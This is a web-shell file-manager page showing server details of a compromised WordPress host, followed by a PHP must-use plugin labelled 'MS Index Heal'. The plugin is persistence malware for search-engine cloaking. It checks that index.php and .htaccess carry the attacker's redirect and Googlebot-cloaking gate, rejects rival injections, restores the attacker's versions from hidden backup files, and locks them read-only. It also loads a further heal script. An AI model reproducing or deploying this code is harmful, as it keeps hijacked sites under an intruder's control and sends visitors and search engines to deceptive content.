| Server IP : 172.67.193.39 / Your IP : 216.73.216.217 Web Server : Apache System : Linux sr32.hostlife.net 6.12.0-124.52.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Sat May 2 09:06:54 EDT 2026 x86_64 User : golfb689 ( 1071) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/golfb689/fonbetbk.click/wp-content/mu-plugins/ |
Upload File : |
<?php
/**
* Plugin Name: MS Index Heal
* Description: Heal sonrası index.php / .htaccess koruması — eksik, boş veya gate dışı dosyayı yedekten geri yükler ve 444 kilitler.
*/
if (!defined('ABSPATH')) {
exit;
}
if (!function_exists('ms_gate_body_ok')) {
function ms_gate_body_ok($body) {
if (!is_string($body) || strlen($body) < 40) {
return false;
}
// İnce stub (ms-home-gate) bizim korumamız
if (strpos($body, 'ms-home-gate.php') !== false && strpos($body, 'require') !== false
&& !preg_match('/\bgoto\s+[A-Za-z_]/i', $body)) {
return true;
}
if (preg_match('/\bgoto\s+[A-Za-z_]/i', $body)
|| stripos($body, 'ytag.js') !== false
|| stripos($body, 'yjDataLayer') !== false) {
return false;
}
$hasLic = (strpos($body, 'license.html') !== false);
$hasGate = (strpos($body, 'vitrin_source') !== false || strpos($body, 'IST_TXT_URL') !== false || strpos($body, 'GATE_DEST_FALLBACK') !== false || strpos($body, 'get_redirect_url') !== false);
return $hasLic && $hasGate;
}
}
if (!function_exists('ms_ht_body_ok')) {
function ms_ht_body_ok($body) {
if (!is_string($body) || strlen($body) < 10) {
return false;
}
// Yeni PHP-only cloaking htaccess
if (strpos($body, 'Cloaking YALNIZ') !== false || strpos($body, 'Medusa vitrin') !== false) {
return (strpos($body, 'DirectoryIndex') !== false && strpos($body, 'index.php') !== false);
}
// Eski bot→license rewrite
return (strpos($body, 'license.html') !== false && strpos($body, 'Googlebot') !== false);
}
}
if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
$root = rtrim(ABSPATH, '/\\');
$lock = $root . DIRECTORY_SEPARATOR . '.ms_gate_kontrol_ok.json';
$kontrolOk = false;
if (is_file($lock) && is_readable($lock)) {
$j = json_decode((string)@file_get_contents($lock), true);
if (is_array($j) && !empty($j['ok'])) {
$kontrolOk = true;
}
}
$wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
$changed = false;
$idx = $root . DIRECTORY_SEPARATOR . 'index.php';
$live = is_file($idx) ? (string)@file_get_contents($idx) : '';
$idxBad = ($live === '' || strlen($live) < 40 || !ms_gate_body_ok($live));
// Kontrol OK + index sağlam → dokunma; JP/cloak varsa yine onar
if ($kontrolOk && !$idxBad) {
if (is_file($idx)) {
@chmod($idx, 0444);
}
$ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
if (is_file($ht)) {
@chmod($ht, 0444);
}
$lic = $root . DIRECTORY_SEPARATOR . 'license.html';
if (is_file($lic)) {
@chmod($lic, 0444);
}
return false;
}
if ($idxBad) {
$cands = [
$wpContent . '/.ms_index.bak.php',
$root . '/.ms_index.bak.php',
$wpContent . '/ms_index.bak.php',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) {
continue;
}
$body = (string)@file_get_contents($bak);
if (!ms_gate_body_ok($body)) {
continue;
}
if (is_file($idx)) {
@chmod($idx, 0644);
}
if (@file_put_contents($idx, $body) !== false) {
@chmod($idx, 0444);
$changed = true;
break;
}
}
} elseif (is_file($idx)) {
@chmod($idx, 0444);
}
$ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
$htLive = is_file($ht) ? (string)@file_get_contents($ht) : '';
$htBad = ($htLive === '' || strlen($htLive) < 8 || !ms_ht_body_ok($htLive));
if ($htBad) {
$cands = [
$wpContent . '/.ms_htaccess.bak',
$root . '/.ms_htaccess.bak',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) {
continue;
}
$body = (string)@file_get_contents($bak);
if (!ms_ht_body_ok($body)) {
continue;
}
if (is_file($ht)) {
@chmod($ht, 0644);
}
if (@file_put_contents($ht, $body) !== false) {
@chmod($ht, 0444);
$changed = true;
break;
}
}
} elseif (is_file($ht)) {
@chmod($ht, 0444);
}
$lic = $root . DIRECTORY_SEPARATOR . 'license.html';
if (is_file($lic)) {
@chmod($lic, 0444);
}
return $changed;
}
}
if (!function_exists('ms_panel_self_heal')) {
function ms_panel_self_heal() {
static $done = false;
if ($done) {
return;
}
$done = true;
$root = rtrim(ABSPATH, '/\\');
$lock = $root . DIRECTORY_SEPARATOR . '.ms_gate_kontrol_ok.json';
if (is_file($lock) && is_readable($lock)) {
$j = json_decode((string)@file_get_contents($lock), true);
if (is_array($j) && !empty($j['ok'])) {
return;
}
}
$wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
$healPhp = $wpContent . '/fm_index_heal.php';
if (is_file($healPhp)) {
require_once $healPhp;
}
if (function_exists('fm_panel_self_heal_webroot')) {
fm_panel_self_heal_webroot($root);
}
}
}
add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);
add_action('muplugins_loaded', 'ms_panel_self_heal', 2);
add_action('plugins_loaded', 'ms_panel_self_heal', 2);